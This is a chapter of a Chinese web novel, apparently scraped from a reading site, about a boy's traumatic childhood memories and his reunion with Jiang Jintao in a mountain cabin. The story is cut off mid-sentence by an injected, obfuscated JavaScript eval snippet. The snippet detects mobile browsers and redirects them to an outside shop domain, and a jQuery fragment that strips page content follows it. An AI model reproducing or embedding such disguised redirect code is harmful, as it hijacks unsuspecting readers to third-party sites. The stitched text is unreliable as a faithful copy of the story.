穆昭远不知道为什么这个梦会那么长。

    他疑心自己已经提前变成了逸散的蓝色光点,过往如走马灯。

    他本在逃离姜瑾桃的路途中,却突然闯进童年阴暗的家门。

    他又变回了那个只缩在墙角,不会说话的傻子。

    记忆的闸门开启,纵使他百般抗拒,也只能像小舟被波浪推着走。

    他痴傻,被恶魔放养,夜晚的院子成为他最后的自有天地。

    月光冷白,他抱着石子,麻木地听着卧室的喊骂声,心脏疲软乏力。

    他靠着铁栏门,闷声堆着石头,直到指尖被一个温软舔舐。

    错愕抬眸,他撞进一双安静明亮的眼睛。

    是一只鹿。

    是两年前,他从山野里救下来的鹿。

    恍然想起多年前自在,麻木的心一瞬间被感化,他咬着唇瓣呜呜地哭。

    那只鹿不走,安静地由他抱住腿,身体轻撞铁栏门。

    鹿日日来看他,衔着花朵或石子,像探监,给他灰冷的心最后一点慰藉。

    可无济于事。

    母亲的痛呼在达到高潮时骤然止息,连带着喘息一同湮灭。

    他周身一颤,盯着那扇幽亮的窗户,心脏像闷声挨了一棍。

    全身战栗,他颤抖着起身,压抑着,沉默着。

    一声闷响,鲜血溅起,混入浸润乳白的水泥地面。

    他倒在铁栏门边,手中的石子滚落,顷刻被血包裹。

    夏夜,血温热,他却快冷透。

    恍惚中,被一双瘦削的手臂抱起,意识模糊,心却疼到颤抖。

    为什么要救他?

    他怨恨地想着。

    寻死不成,他被关进监牢。

    他只觉全身支离破碎,缩在墙角,日日夜夜听着母亲尖锐的叫喊,泪水都要流尽。

    食物放在门口,纵然是自然的香气,他还是不住地反胃作呕。

    断食好几日,他便见到母亲,两双同样灰暗的眼睛对视。

    勺子舀起冰凉的饭菜,混着两人的眼泪一同塞入他的口中,苦涩冰凉。

    封住的窗户只露一点缝隙,深夜,窗外会响起鹿的嘶鸣。

    他浑浊灰暗的眼睛在此刻才会微动,抬眼看向一丝光亮后那双明亮的鹿眼。

    看见它漂亮的鹿角,顺滑的皮毛。

    而他只能趴在床边,去嗅一点自由的气息。

    鹿会离开,沿着大路离去,消失在山林。

    那时的他,空洞的心里只承装着两件事。

    第一件,早点死去。

    第二件,做一只鹿。

    冬日渐近,雪朦胧远景。

    他的鹿很久没来。

    似最后的希望被斩断,他不对生抱有希望。

    饭菜吃不进去,水也喝得勉强。

    他盯着自己越来越瘦的手臂,会在夜深人静时勾起一抹疯狂的笑。

    他——这个偷走母亲青春、幸福和自由的罪人——终于要死了。

    念头刚冒出,房门却被人慌忙打开。

    一个伤痕累累的母亲毅然决然地抱住一个小罪人,冒雪离去。

    外面的世界笼罩在雪的肃穆中。

    自由的气息疯狂地钻进他的鼻间,他贪婪地嗅着,寒风划破脸颊,他也觉得畅快。

    自由让他眩晕,让他迷失。

    他又一次回到冰柜,在这处小小的空间里,最后一次凝望母亲温柔的双眼。

    母亲狠下心让他不要去找她。

    穆昭远应了声好,心里却是开心的。

    他不在了,母亲少了软肋,多了刚强。

    他甘心缩在小小的冰柜,强迫自己忍着反胃吃一点点东西。

    会畅想着,自己什么时候长大,将母亲劫出来。

    再变成一只鹿,驰骋在山林之间。

    可他等不来。

    冰柜最后一次开合,小卖部老板的脸最后一次出现在跟前。

    他说,今天是除夕夜。

    他说,他的母亲报了警,他们很快能母子团聚。

    一张棉被被放入冰柜,他说,遇到危险,把自己藏在棉被里。

    穆昭远等着夜幕降临,一双黑眸安静地仰望着头顶透明的冰柜门。

    比警笛先一步响起的,是母亲的声音。

    先是她的脚步声。

    再说和那个男人的搏斗声。

    他慌了,手指颤抖,要去打开冰柜门,喉咙里发出呜咽的哭声。

    他怨恨自己为什么不会说话,为什么不好好吃饭。

    虚弱到打不开冰柜门,叫不来帮忙的人。

    一个男声出现,是小卖部老板。

    远处,警笛声隐隐传来。

    心悬在嗓子眼,他贴着冰柜内壁,呼吸都放轻。

    桌椅翻倒,瓶罐破碎。

    一声凄厉的惨叫过后,血点溅到冰柜的玻璃门上。

    穆昭远的血液在一瞬间凝固。

    柜子倒塌,又一声惨叫,是小卖部老板。

    一切回归寂静。

    他被死亡的恐怖唬住,一动不动。

    头顶的血点散开,爬出一道道血痕,狰狞。

    陈说他的罪行。

    不知何时,他被人抱起,出了冰柜,真正呼吸自由的空气。

    却永远地困在两个尸袋之前。

    浓烈的血腥味挥之不去。

    他蹲在母亲的尸袋边上,想触碰,却不敢。

    是罪人。

    不配。

    可他想抱抱她。

    沉寂许久的喉咙滚动着闷响,他张嘴,悲痛忽地疏通一切情感阻塞,发出声响。

    他低低地唤他的母亲。

    声音沙哑,颤抖,像钢丝摩擦锅底。

    难听极了。

    一口猩红喷出,几个陌生人慌忙地抱住他,要救他。

    可他想死在这里,死在爱他的人身边。

    心愿未成。

    他忽而也觉出几分好处。

    加在他身上的惩罚多一些,对母亲的愧疚也就少一些。

    日子不知不觉过去,他像破旧的娃娃,在半是熟悉半是陌生的人中流转。

    最后,回到那个村子。

    元宵那天,他卧在床上,一个苍老的声音隔着门响起。

    “这孩子,活不长了。”

    “也是可怜,找个地方葬了吧。”

    风雪扑打窗户,穆昭远支起身子,推开窗户。

    葬在山林后,可不可以做一只自由的鹿?

    他翻窗逃跑,要为自己寻葬身之处。

    路过高悬的红灯笼,穿过热闹的家宅。

    见着窗户上人们团聚欢喜的脸,听着拉家常的喧闹。

    再随着他的离去,一点点模糊。

    人类的一切离他而去。

    精疲力尽,他躲在山洞,至天明。

    风雪未停,他拼命朝着山上走去。

    再最后,发出人类的声音,念出许多年前曾听过的话:

    “如若山神愿意接纳我的灵魂。”

    “请让我远离人间苦难。”

    “我愿放弃一切来赎罪,承受一切罪恶的报应。”

    声音颤抖破碎,呜咽中止话语。

    泪水滚落,却又忍不住唾弃自己。

    他到底有什么资格悲伤?

    抹去泪水,他咬牙,走进深山。

    任由风声吞没他的啜泣,吞没他的情愿。

    “请让我,远离人间,只化作山林的鹿,在山林,自由驰骋。”

    远处,传来轻微的响动。

    蓝光骤然亮起。

    穆昭远扯出一抹笑,加快脚步,将死亡和自由一并拥入怀中。

    他缓缓闭上眼睛。

    怎么又做这种回忆的梦?

    后来的一切都可以预料,雪崩来临,他被掩埋,再被山神救起。

    有什么好梦见的呢?

    直到,他蓦然撞进一个温暖的怀抱。

    那一瞬,风雪退散,山林静谧。

    他呆愣仰头,泪水在见到她的一瞬间滚落。

    姜瑾桃收紧怀抱,带着春天的气息,将他笼在名为希望的温暖里。

    她的泪水,灼痛后颈。

    她的声音,落在耳畔。

    “穆昭远……我想救你一次。”她低声请求,“请让我参与你的过去。”

    一切疯狂、偏执、绝望都偃旗息鼓。

    穆昭远自私地回抱住她。

    抱住人生的最后一点温暖。

    如果死去之前,由你解开我的心结。

    我想我会和死在你怀里一般幸福。

    他放弃辨认梦境,溺在她的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944540|209806||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    温柔里。

    她的声音带着试探:

    “我们去小木屋,好不好?”

    “好。”

    如果是你,去哪都行。

    他抓着姜瑾桃的手腕,和她一道,迎着风走进小木屋。

    房门关上的那瞬,穆昭远又回忆起当时第一次带她来这的情形。

    姜瑾桃忙着点火,他下意识要伸手帮忙,却立刻止住。

    是了,这下真成小孩了。

    他呆坐在炕上,只觉过去的自己和现在的自己融合得不好。

    过往的痛楚压在心头,寻死的念头也太过强烈。

    穆昭远想要控制住自己,起码不要在她面前再提起这件事。

    姜瑾桃一定会百般阻拦的。

    生好火,炕一点点热起来。姜瑾桃爬上炕,与他相对而坐。

    穆昭远悄悄抬眼打量她,从那双带着怜悯的眼神中,隐约感觉姜瑾桃也知道了他的过往。

    姜瑾桃盯住眼前这个幼年体的穆昭远,总能看出几分他成年后的神态。

    也不知道是不是自己的错觉。

    方才与他拥抱的那瞬,时光骤然停止,她看见他的过去,黑白电影一般,一幕一幕,诉说着他的艰辛与无助。

    “我帮你想办法,好吗?”姜瑾桃身子微微前倾,想离他更紧一点,“我帮你远离这些人。那个魔鬼已经被抓走,那些令人疯狂的东西再也不会出现。”

    眼前的他还是眼神昏暗,姜瑾桃心里一抽,语气又软和几分:“这些事也不是你的错。”

    穆昭远攥紧拳头,紧绷的下颌线显出他的排斥。

    好倔。

    从小到大都这样。

    “你不用救我。”他冷冷地甩下一句话。

    被他冷硬的话气得心堵,她也板着脸跟他较劲:“我不能看着你去死。”

    屋内安静下来,只剩下柴火燃烧的噼啪声。

    那双圆眼冷漠,姜瑾桃心里莫名难过。

    “活着有什么好的。”他冷哼一声,“又被人抓进笼子里,连太阳都见不到。”

    “如果你不想去亲戚家,也可以去福利院。”姜瑾桃当年逃亡的时候路过,也在门口驻足,福利院是新建的,里面的条件应该不错。

    总好过住在亲戚家,又或者被坏人抓走。

    如果被收养,收养他的人也会诚心些。

    未来都未知,但姜瑾桃不忍看着他成为精灵,生死难料。

    “那里都是笼子!”

    “谁告诉你那里都是笼子?”姜瑾桃被他气笑,恨不得揪住他的耳朵,“你没见过,只听别人吓唬你!”

    那双圆眼亮了亮,然后又迅速熄灭,不过还是盯着她,带着几分执着。

    又好像是想把她记下来。

    穆昭远沉默许久,仰起头来,用着孩童的吓唬:“对我好的人都没什么好下场。”

    呵。

    帮都帮了,钱也没了,留条命不过分吧。

    她认真了些:“不帮你,我会很愧疚。”

    少年倏地抬眼,神色微怔。

    姜瑾桃笑得无奈:“你是开心了,我呢?以后的很多很多年,我都会记得,我没救起一条生命,眼睁睁地看着他死了。”

    似乎心有触动,男孩没反驳,垂下头来。

    风雪未停,姜瑾桃夹带私心,开口:“你转身就走,没想过这个世界上有人会很在意你吗?”

    又想要又不敢接受。

    世界上怎么会有人这么矛盾?

    穆昭远抿了抿干裂的唇瓣,低声道:“可她不缺我这一份在意。”

    “你怎么知道她不缺?”

    继续打着哑谜,姜瑾桃丝毫未觉两人间的对话有什么问题,只是气愤。

    少年眉头紧拧,脖颈忽然涨红:“我会毁了她的人生!”

    “那也是她自己选的!”

    两句争执后,再度安静。

    姜瑾桃微喘,又想起那次不快的争执。

    不解自己为何要对着一个不谙世事的他如此激动,便扯着唇角轻笑。

    笑自己的荒诞。

    跟他说有什么用。

    她深吸一口气,定定地望着他:

    “人生是自己拿来活,怎么能交给别人毁掉?”

    “就这样什么都没有,背负着痛苦和仇恨赴死,你真的甘心吗?”